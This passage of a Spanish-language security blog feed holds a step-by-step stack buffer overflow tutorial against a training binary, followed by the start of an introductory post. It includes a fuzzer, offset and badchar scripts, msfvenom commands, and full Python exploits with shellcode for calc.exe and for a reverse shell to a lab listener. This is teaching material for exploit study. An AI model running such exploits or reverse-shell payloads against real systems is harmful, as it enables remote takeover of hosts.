</span><span class="n">data</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</code></pre></div></div>
<p>Y al momento de ejecutarlo, este nos abre la calculadora de windows:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/shell-2.png" alt="26" /></p>
<h3 id="generando-una-shell-reversa">Generando una shell reversa</h3>
<p>Para obtener una shell reversa, es similar a lo anterior, solo que debemos modificar nuestro shellcode:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfvenom <span class="nt">-p</span> windows/shell_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>192.168.200.139 <span class="nv">LPORT</span><span class="o">=</span>4444 <span class="nv">EXITFUNC</span><span class="o">=</span>thread <span class="nt">-b</span> <span class="s1">'\x00\x0A'</span> <span class="nt">-f</span> python
</code></pre></div></div>
<blockquote>
<p>NOTA: se utiliza la opción <code class="language-plaintext highlighter-rouge">EXITFUNC=thread</code> con la finalidad de que cuando cerremos la conexión de la shell, solo se cierre el proceso de esta conexión y no el programa explotado.</p>
</blockquote>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/shell-3.png" alt="27" /></p>
<p>Lo copiamos en nuestro script, lo ejecutamos y obtenemos nuestra shell reversa:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python3
</span><span class="kn">import</span> <span class="nn">socket</span>
<span class="n">rhost</span> <span class="o">=</span> <span class="s">"192.168.200.136"</span>
<span class="n">rport</span> <span class="o">=</span> <span class="mi">31337</span>
<span class="n">address</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xc3\x14\x04\x08</span><span class="s">"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x41</span><span class="s">"</span><span class="o">*</span><span class="mi">146</span>
<span class="n">buf</span> <span class="o">=</span> <span class="sa">b</span><span class="s">""</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xbb\x80\x94\xf7\x6d\xda\xdd\xd9\x74\x24\xf4\x5e\x2b</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xc9\xb1\x52\x83\xc6\x04\x31\x5e\x0e\x03\xde\x9a\x15</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x98\x22\x4a\x5b\x63\xda\x8b\x3c\xed\x3f\xba\x7c\x89</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x34\xed\x4c\xd9\x18\x02\x26\x8f\x88\x91\x4a\x18\xbf</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x12\xe0\x7e\x8e\xa3\x59\x42\x91\x27\xa0\x97\x71\x19</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x6b\xea\x70\x5e\x96\x07\x20\x37\xdc\xba\xd4\x3c\xa8</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x06\x5f\x0e\x3c\x0f\xbc\xc7\x3f\x3e\x13\x53\x66\xe0</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x92\xb0\x12\xa9\x8c\xd5\x1f\x63\x27\x2d\xeb\x72\xe1</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x7f\x14\xd8\xcc\x4f\xe7\x20\x09\x77\x18\x57\x63\x8b</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xa5\x60\xb0\xf1\x71\xe4\x22\x51\xf1\x5e\x8e\x63\xd6</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x39\x45\x6f\x93\x4e\x01\x6c\x22\x82\x3a\x88\xaf\x25</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xec\x18\xeb\x01\x28\x40\xaf\x28\x69\x2c\x1e\x54\x69</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x8f\xff\xf0\xe2\x22\xeb\x88\xa9\x2a\xd8\xa0\x51\xab</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x76\xb2\x22\x99\xd9\x68\xac\x91\x92\xb6\x2b\xd5\x88</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x0f\xa3\x28\x33\x70\xea\xee\x67\x20\x84\xc7\x07\xab</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x54\xe7\xdd\x7c\x04\x47\x8e\x3c\xf4\x27\x7e\xd5\x1e</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xa8\xa1\xc5\x21\x62\xca\x6c\xd8\xe5\x35\xd8\x2a\x7e</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xdd\x1b\xaa\x90\x42\x95\x4c\xf8\x6a\xf3\xc7\x95\x13</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x5e\x93\x04\xdb\x74\xde\x07\x57\x7b\x1f\xc9\x90\xf6</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x33\xbe\x50\x4d\x69\x69\x6e\x7b\x05\xf5\xfd\xe0\xd5</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x70\x1e\xbf\x82\xd5\xd0\xb6\x46\xc8\x4b\x61\x74\x11</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x0d\x4a\x3c\xce\xee\x55\xbd\x83\x4b\x72\xad\x5d\x53</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x3e\x99\x31\x02\xe8\x77\xf4\xfc\x5a\x21\xae\x53\x35</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xa5\x37\x98\x86\xb3\x37\xf5\x70\x5b\x89\xa0\xc4\x64</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x26\x25\xc1\x1d\x5a\xd5\x2e\xf4\xde\xf5\xcc\xdc\x2a</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x9e\x48\xb5\x96\xc3\x6a\x60\xd4\xfd\xe8\x80\xa5\xf9</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xf1\xe1\xa0\x46\xb6\x1a\xd9\xd7\x53\x1c\x4e\xd7\x71</span><span class="s">"</span>
<span class="n">nops</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x90</span><span class="s">"</span><span class="o">*</span><span class="mi">20</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">address</span> <span class="o">+</span> <span class="n">nops</span> <span class="o">+</span> <span class="n">buf</span>
<span class="c1"># Creacion del socket object
</span><span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="c1"># Conexion al servicio
</span><span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">rhost</span><span class="p">,</span> <span class="n">rport</span><span class="p">))</span>
<span class="c1"># Enviamos nuestro payload
</span><span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
</code></pre></div></div>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/shell-4.png" alt="28" /></p>W0lf_F4ngms@w0lff4ng.orgEste post es la continuación de la serie de Stack Buffer Overflow básico. Se revisará la explotación del binario dostackbufferoverflowgood.exe, mostrando como se puede abrir una calculadora en el host remoto y cómo obtener una shell reversa. Lo primero a realizar es adjuntar el proceso del binario al debugger (en este caso Immunity Debugger): NOTA: en caso de que no se encuentre en ejecución el programa, este puede ser abierto usando el debugger. Al adjuntar o abrir el programa con Immunity, este queda en estado Paused; por lo tanto, es necesario iniciarlo: Ahora que se encuentra iniciado el programa, debemos realizar un escaneo de puertos para poder identificar en qué puerto se encuentra corriendo el servicio: En este caso, el servicio se encuentra corriendo en el puerto 31337 (anteriormente identificado en la documentación del binario). Si nos conectamos a dicho puerto usando netcat e introducimos caracteres en este, vemos que nos responde con un Hello [string]!!!: Al validar por el lado del servidor (binario), vemos que este registra los bytes recibidos: Fuzzer Para saber el momento en que la aplicación crashea, podemos usar el siguiente fuzzer, el cual, es una herramienta que envía datos de forma incremental para reconocer un valor aproximado de cuando el servicio deja de funcionar: #!/usr/bin/python3 import socket # Datos de conexion rhost = "192.168.200.136" rport = 31337 # Datos a enviar: A en hexa payload = b"\x41"*100 try: while True: print("sent " + str(len(payload))) # Creacion del socket object TCP s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Conexion al servicio s.connect((rhost, rport)) # Envio del payload s.send(payload + b"\n") # Recepcion de los datos enviados por el server data = s.recv(1024) payload += b"\x41"*100 except Exception as err: print("Error: " + str(err)) NOTA: en python 3 es necesario enviar los datos como bytes, por eso se agrega la b antes de los strings. Al ejecutar el script, vemos que se envían 200 A y luego el servidor deja de responder: Si revisamos el debugger, se muestra que el valor del EIP es 41414141, que corresponde a nuestras letras A en hexadecimal: Sabemos que se produce una denegación de servicio enviando 200 caracteres debido a que se sobreescribe el EIP, y ahora, es necesario validar con cuantos caracteres se produce esto. Para lograrlo, mostraré el uso de dos herramientas, una se encuentra entre los scripts que posee Metasploit Framework, y el otro es la herramienta mona. En este proceso, debemos restaurar el servicio con cada prueba, y esto se puede lograr cerrando y volviendo a abrir el debugger y adjuntando nuevamente el servicio. También, tenemos la opción de hacer clic a la tecla restart de Immunity: NOTA: no olvidar hacer clic en run. Obteniendo el offset El offset el la cantidad de caracteres que se deben enviar antes de sobreescribir el EIP. Pattern Create/Offset Metasploit En esta opción usaremos los scripts pattern_create y pattern_offset de Metasploit. Lo primero es crear un patrón de caracteres usando pattern_create. En mi caso, como estoy usando Kali Linux, la ruta de este script es /usr/share/metasploit-framework/tools/exploit/pattern_create.rb: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200 Ahora copiamos los 200 caracteres generados en un script similar al anterior y lo ejecutamos: #!/usr/bin/python3 import socket rhost = "192.168.200.136" rport = 31337 payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" # Creacion del socket object s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Conexion al servicio s.connect((rhost, rport)) # Enviamos nuestro payload s.send(payload + b"\n") # Recibimos los datos de la comunicacion data = s.recv(1024) print(data) Con esto generamos la denegación de servicio del programa y podemos observar que el EIP es diferente a los 41 anteriores: Esto se debe a que el valor del string enviado es diferente, pero con este nuevo valor, podemos calcular el offset. Copiamos el valor del EIP y ahora ejecutamos el script pattern_offset: /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39654138 Ya con esto sabemos que si enviamos 146 caracteres más otros 4, podemos sobreescribir el EIP. Realizamos una prueba de concepto modificando el valor del payload por lo siguiente: payload = b"\x41"*146 + b"ABCD" El valor del EIP es 44434241, que son las representaciones de DCBA (en little-endian). Pattern Create/Offset mona Mona es un script desarrollado por Coleran, el cual, dentro de sus funcionalidades posee un pattern create y un pattern offset. Para poder usar este script en conjunto con Immunity debugger, este debe ser descargado y almacenado en el directorio PyCommands: Luego de cargar mona en el directorio del debugger, abrimos Immunity y creamos un entorno de trabajo con el script, donde, se almacenarán los datos y archivos generados. Escribimos el comando en la barra inferior del debugger: !mona config -set workingfolder C:\ImmunityLogs\%p Ahora creamos un patrón con el siguiente comando: !mona pc 200 Al ejecutar este comando, vemos que se genera un archivo dentro del directorio generados anteriormente: Luego de generar el crasheo del servidor y obtener el valor del EIP, usamos el siguiente comando para obtener el valor del offset: !mona po 39654138 Generando un shellcode Ahora que tenemos el valor del offset podemos empezar a generar nuestro shellcode, pero antes de eso, debemos encontrar lo siguiente: Una dirección de un JMP ESP Badchars Encontrando la dirección del JMP ESP Cuando enviamos nuestro shellcode este iniciará en el ESP, por lo tanto, lo primero es encontrar una dirección que apunte al ESP. Lo podríamos identificar revisando la dirección del registro en el debugger, pero esta puede cambiar de forma dinámica, por lo tanto, es necesario encontrar una dirección fija en la memoria que salte (JMP) o que llame (CALL) a ESP. Si tenemos un ambiente que tiene ASLR deshabilitado, podemos usar la librería kernel32.dll u otra que utilice el programa, debido a que estas se almacenan en una dirección de memoria fija. Para poder encontrar estas direcciones, podemos usar una funcionalidad de mona: !mona jmp -r esp Cuando encontramos las direcciones, debemos validar que no tengan las protecciones habilitadas (en especial ASLR). En este caso, podemos usar ambas direcciones. Estas deben ser cambiadas a little-endian para poder ser enviadas en el payload: address = "0x080414c3" address_little-endian = "\xc3\x14\x04\x08" Encontrando Badchars Los caracteres que no se representan bien en memoria son badchars, y estos pueden romper el código de la shell. El más común es \x00, que representa a un NULL. Para ver la lista de caracteres, podemos hacer un man ascii en linux: Estos caracteres deben ser enviados al servidor y ver cómo los procesa. Usamos mona para generar el string a enviar: !mona bytearray –cpb "\x00" NOTA: usamos la opción -cpb para omitir el carácter NULL. Modificamos nuestro script para que quede de la siguiente forma: #!/usr/bin/python3 import socket rhost = "192.168.200.136" rport = 31337 payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" badchar = ( b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) payload += badchar # Creacion del socket object s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Conexion al servicio s.connect((rhost, rport)) # Enviamos nuestro payload s.send(payload + b"\n") # Recibimos los datos de la comunicacion data = s.recv(1024) print(data) Seguimos el ESP en el Dump de la memoria (clic derecho > Follow in Dump): Validamos cuales caracteres faltan: 00 01 02 03 04 05 06 07 08 09 00 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 40 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 60 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 7B 7C 7D 7E 7F 80 81 82 83 84 85 86 87 88 89 8A 8B 8C 8D 8E 8F 90 91 92 93 94 95 96 97 98 99 9A 9B 9C 9D 9E 9F A0 A1 A2 A3 A4 A5 A6 A7 A8 A9 AA AB AC AD AE AF B0 B1 B2 B3 B4 B5 B6 B7 B8 B9 BA BB BC BD BE BF C0 C1 C2 C3 C4 C5 C6 C7 C8 C9 CA CB CC CD CE CF D0 D1 D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DD DE DF E0 E1 EA EB EC ED EE EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF Si vemos los caracteres que nos faltan, en este caso solo es 0A, por lo tanto, los badchars de este servicio son \x00 y \x0A. Abriendo una calculadora Una prueba de concepto de explotación de un buffer overflow es abrir una calculadora, por lo tanto, si la explotación se realiza de forma exitosa, se abrirá la calculadora de Windows al momento de ejecutar nuestro script. Para esto, generamos nuestro shellcode con msfvenom indicando los badchars encontrados: msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0A' -f python Modificamos nuestro script incorporando la dirección encontrada, agregamos nuestro shellcode y unos NOP: #!/usr/bin/python3 import socket rhost = "192.168.200.136" rport = 31337 address = b"\xc3\x14\x04\x08" payload = b"\x41"*146 + address nops = b"\x90"*20 buf = b"" buf += b"\xbf\x05\xca\x04\xca\xdb\xd3\xd9\x74\x24\xf4\x5b\x29" buf += b"\xc9\xb1\x31\x31\x7b\x13\x03\x7b\x13\x83\xeb\xf9\x28" buf += b"\xf1\x36\xe9\x2f\xfa\xc6\xe9\x4f\x72\x23\xd8\x4f\xe0" buf += b"\x27\x4a\x60\x62\x65\x66\x0b\x26\x9e\xfd\x79\xef\x91" buf += b"\xb6\x34\xc9\x9c\x47\x64\x29\xbe\xcb\x77\x7e\x60\xf2" buf += b"\xb7\x73\x61\x33\xa5\x7e\x33\xec\xa1\x2d\xa4\x99\xfc" buf += b"\xed\x4f\xd1\x11\x76\xb3\xa1\x10\x57\x62\xba\x4a\x77" buf += b"\x84\x6f\xe7\x3e\x9e\x6c\xc2\x89\x15\x46\xb8\x0b\xfc" buf += b"\x97\x41\xa7\xc1\x18\xb0\xb9\x06\x9e\x2b\xcc\x7e\xdd" buf += b"\xd6\xd7\x44\x9c\x0c\x5d\x5f\x06\xc6\xc5\xbb\xb7\x0b" buf += b"\x93\x48\xbb\xe0\xd7\x17\xdf\xf7\x34\x2c\xdb\x7c\xbb" buf += b"\xe3\x6a\xc6\x98\x27\x37\x9c\x81\x7e\x9d\x73\xbd\x61" buf += b"\x7e\x2b\x1b\xe9\x92\x38\x16\xb0\xf8\xbf\xa4\xce\x4e" buf += b"\xbf\xb6\xd0\xfe\xa8\x87\x5b\x91\xaf\x17\x8e\xd6\x40" buf += b"\x52\x93\x7e\xc9\x3b\x41\xc3\x94\xbb\xbf\x07\xa1\x3f" buf += b"\x4a\xf7\x56\x5f\x3f\xf2\x13\xe7\xd3\x8e\x0c\x82\xd3" buf += b"\x3d\x2c\x87\xb7\xa0\xbe\x4b\x16\x47\x47\xe9\x66" payload += nops + buf # Creacion del socket object s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Conexion al servicio s.connect((rhost, rport)) # Enviamos nuestro payload s.send(payload + b"\n") # Recibimos los datos de la comunicacion data = s.recv(1024) print(data) Y al momento de ejecutarlo, este nos abre la calculadora de windows: Generando una shell reversa Para obtener una shell reversa, es similar a lo anterior, solo que debemos modificar nuestro shellcode: msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.139 LPORT=4444 EXITFUNC=thread -b '\x00\x0A' -f python NOTA: se utiliza la opción EXITFUNC=thread con la finalidad de que cuando cerremos la conexión de la shell, solo se cierre el proceso de esta conexión y no el programa explotado. Lo copiamos en nuestro script, lo ejecutamos y obtenemos nuestra shell reversa: #!/usr/bin/python3 import socket rhost = "192.168.200.136" rport = 31337 address = b"\xc3\x14\x04\x08" payload = b"\x41"*146 buf = b"" buf += b"\xbb\x80\x94\xf7\x6d\xda\xdd\xd9\x74\x24\xf4\x5e\x2b" buf += b"\xc9\xb1\x52\x83\xc6\x04\x31\x5e\x0e\x03\xde\x9a\x15" buf += b"\x98\x22\x4a\x5b\x63\xda\x8b\x3c\xed\x3f\xba\x7c\x89" buf += b"\x34\xed\x4c\xd9\x18\x02\x26\x8f\x88\x91\x4a\x18\xbf" buf += b"\x12\xe0\x7e\x8e\xa3\x59\x42\x91\x27\xa0\x97\x71\x19" buf += b"\x6b\xea\x70\x5e\x96\x07\x20\x37\xdc\xba\xd4\x3c\xa8" buf += b"\x06\x5f\x0e\x3c\x0f\xbc\xc7\x3f\x3e\x13\x53\x66\xe0" buf += b"\x92\xb0\x12\xa9\x8c\xd5\x1f\x63\x27\x2d\xeb\x72\xe1" buf += b"\x7f\x14\xd8\xcc\x4f\xe7\x20\x09\x77\x18\x57\x63\x8b" buf += b"\xa5\x60\xb0\xf1\x71\xe4\x22\x51\xf1\x5e\x8e\x63\xd6" buf += b"\x39\x45\x6f\x93\x4e\x01\x6c\x22\x82\x3a\x88\xaf\x25" buf += b"\xec\x18\xeb\x01\x28\x40\xaf\x28\x69\x2c\x1e\x54\x69" buf += b"\x8f\xff\xf0\xe2\x22\xeb\x88\xa9\x2a\xd8\xa0\x51\xab" buf += b"\x76\xb2\x22\x99\xd9\x68\xac\x91\x92\xb6\x2b\xd5\x88" buf += b"\x0f\xa3\x28\x33\x70\xea\xee\x67\x20\x84\xc7\x07\xab" buf += b"\x54\xe7\xdd\x7c\x04\x47\x8e\x3c\xf4\x27\x7e\xd5\x1e" buf += b"\xa8\xa1\xc5\x21\x62\xca\x6c\xd8\xe5\x35\xd8\x2a\x7e" buf += b"\xdd\x1b\xaa\x90\x42\x95\x4c\xf8\x6a\xf3\xc7\x95\x13" buf += b"\x5e\x93\x04\xdb\x74\xde\x07\x57\x7b\x1f\xc9\x90\xf6" buf += b"\x33\xbe\x50\x4d\x69\x69\x6e\x7b\x05\xf5\xfd\xe0\xd5" buf += b"\x70\x1e\xbf\x82\xd5\xd0\xb6\x46\xc8\x4b\x61\x74\x11" buf += b"\x0d\x4a\x3c\xce\xee\x55\xbd\x83\x4b\x72\xad\x5d\x53" buf += b"\x3e\x99\x31\x02\xe8\x77\xf4\xfc\x5a\x21\xae\x53\x35" buf += b"\xa5\x37\x98\x86\xb3\x37\xf5\x70\x5b\x89\xa0\xc4\x64" buf += b"\x26\x25\xc1\x1d\x5a\xd5\x2e\xf4\xde\xf5\xcc\xdc\x2a" buf += b"\x9e\x48\xb5\x96\xc3\x6a\x60\xd4\xfd\xe8\x80\xa5\xf9" buf += b"\xf1\xe1\xa0\x46\xb6\x1a\xd9\xd7\x53\x1c\x4e\xd7\x71" nops = b"\x90"*20 payload += address + nops + buf # Creacion del socket object s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Conexion al servicio s.connect((rhost, rport)) # Enviamos nuestro payload s.send(payload + b"\n")Stack Buffer Overflow básico - Parte 12020-07-14T11:58:47-04:002020-07-14T11:58:47-04:00http://www.w0lff4ng.org/stack-buffer-overflow-basico-parte-1<p><img src="/assets/img/stack-buffer-overflow-basico-parte-1/bufferoverflow1-1.png" alt="bof" /></p>
<p>Este post es la continuación de <a href="https://www.w0lff4ng.org/arquitectura-de-microprocesadores/">Conceptos básicos de arquitectura de procesadores x86</a> y <a href="https://www.w0lff4ng.org/conceptos-basicos-de-assembler-y-debugger/">Conceptos básicos de Assembler y Debugger</a>, los cuales, brindan los conceptos necesarios para realizar un stack buffer overflow básico.</p>
<h2 id="buffer">Buffer</h2>
<p>Un buffer es un área dentro de la memoria, donde se almacenan datos de forma temporal. Generalmente, estos se encuentran en la memoria RAM.
Los buffer están diseñados para almacenar cantidades específicas de datos. A menos que, el programa que utiliza el buffer tenga instrucciones integradas para descartar datos cuando se envían demasiados a este el programa sobrescribirá los datos en la memoria adyacente al buffer.</p>
<h2 id="buffer-overflow">Buffer Overflow</h2>
<p>Cuando hablamos de un buffer overflow, ocurre cuando el programa que escribe datos en el buffer, sobrepasa la capacidad de este, llenando con más datos de los que el buffer puede manejar:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-1/bof.png" alt="01" /></p>
<h2 id="tipos-de-buffer-overflow">Tipos de Buffer Overflow</h2>
<ul>
<li><strong>Stack overflow:</strong> es el ataque más común dentro de los buffer overflow. Como su nombre lo indica, este realiza un overflow en el <code class="language-plaintext highlighter-rouge">stack</code>.</li>
<li><strong>Heap overflow:</strong> este tipo de ataque tiene como objetivo los datos del grupo de memoria abierto conocido como <code class="language-plaintext highlighter-rouge">heap</code>.</li>
<li><strong>Interger overflow:</strong> una operación aritmética da como resultado un número entero que es demasiado grande para el tipo de entero destinado a almacenarlo; esto puede resultar en un buffer overflow.</li>
<li><strong>Unicode overflow:</strong> crea un buffer overflow al insertar caracteres Unicode en una entrada que espera caracteres ASCII.</li>
</ul>
<h2 id="stack-buffer-overflow">Stack Buffer Overflow</h2>
<p>A continuación, se muestra un código de ejemplo que produce un stack buffer overflow:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <cstring>
#include <iostream>
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">payload</span> <span class="o">=</span> <span class="s">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span>
<span class="n">strcpy</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">payload</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>En el código anterior, el arreglo de caracteres <code class="language-plaintext highlighter-rouge">buffer</code> es de 10 bytes de largo, usa la función <code class="language-plaintext highlighter-rouge">strcpy</code>, y la variable <code class="language-plaintext highlighter-rouge">payload</code> contiene 35 letras <code class="language-plaintext highlighter-rouge">A</code>.</p>
<p>En este caso, como el <code class="language-plaintext highlighter-rouge">buffer</code> es de 10 bytes y se están pasando 35 <code class="language-plaintext highlighter-rouge">A</code>, el programa se crashea debido a que la función <code class="language-plaintext highlighter-rouge">strcpy</code> no valida el largo del argumento que se copia en el <code class="language-plaintext highlighter-rouge">buffer</code> (<a href="https://linux.die.net/man/3/strcpy">función vulnerable</a>), produciendo un buffer overflow.</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-1/bof_prueba-1.png" alt="02" /></p>
<p>Esto puede ser aprovechado para poder ejecutar otros programas.</p>
<p>Si revisamos la siguiente imagen, podemos observar que fue lo que sucedió al momento de cargar los datos en el buffer:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-1/bof2.png" alt="03" /></p>
<p>Ahora sabemos que la función <code class="language-plaintext highlighter-rouge">strcpy</code> es vulnerable a buffer overflow, para poder solucionar esto, es que debe ser reemplazada por la función <code class="language-plaintext highlighter-rouge">strncpy</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <cstring>
#include <iostream>
</span>
